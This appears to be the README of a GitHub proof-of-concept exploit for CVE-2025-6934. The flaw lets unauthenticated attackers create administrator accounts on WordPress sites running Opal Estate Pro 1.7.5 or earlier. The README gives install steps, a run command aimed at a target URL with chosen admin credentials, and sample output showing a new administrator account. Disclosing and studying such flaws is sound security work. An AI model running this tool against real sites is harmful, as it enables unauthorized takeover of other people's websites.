0xgh057r3c0n/cve-2025-6934CVE-2025-6934 is a critical vulnerability in the WordPress Opal Estate Pro plugin (<= 1.7.5) that allows unauthenticated attackers to create new administrator accounts through the plugin’s insecure AJAX registration process.
📖 Description This repository contains a Proof of Concept (PoC) exploit for CVE-2025-6934, a critical vulnerability in WordPress Plugin: Opal Estate Pro <= 1.7.5, allowing unauthenticated administrator account creation.
⚠️ Disclaimer: This tool is provided for educational and security research purposes only.
The author is not responsible for any misuse or damage caused.
readme.txtClone the repo and install dependencies:
git clone https://github.com/0xgh057r3c0n/CVE-2025-6934.git
cd CVE-2025-6934
pip3 install -r requirements.txt
requirements.txt
requests
beautifulsoup4
colorama
Run the script with your target:
python3 CVE-2025-6934.py -u http://target.com/ -mail [email protected] -password MySecurePass123 -user newadmin
✅ Example Output:
[✔] Exploit Successful!
Username : newadmin
Email : [email protected]
Password : MySecurePass123
Role : administrator
Gaurav Bhattacharjee (0xgh057r3c0n)
This project is licensed under the MIT License – see the LICENSE file for details.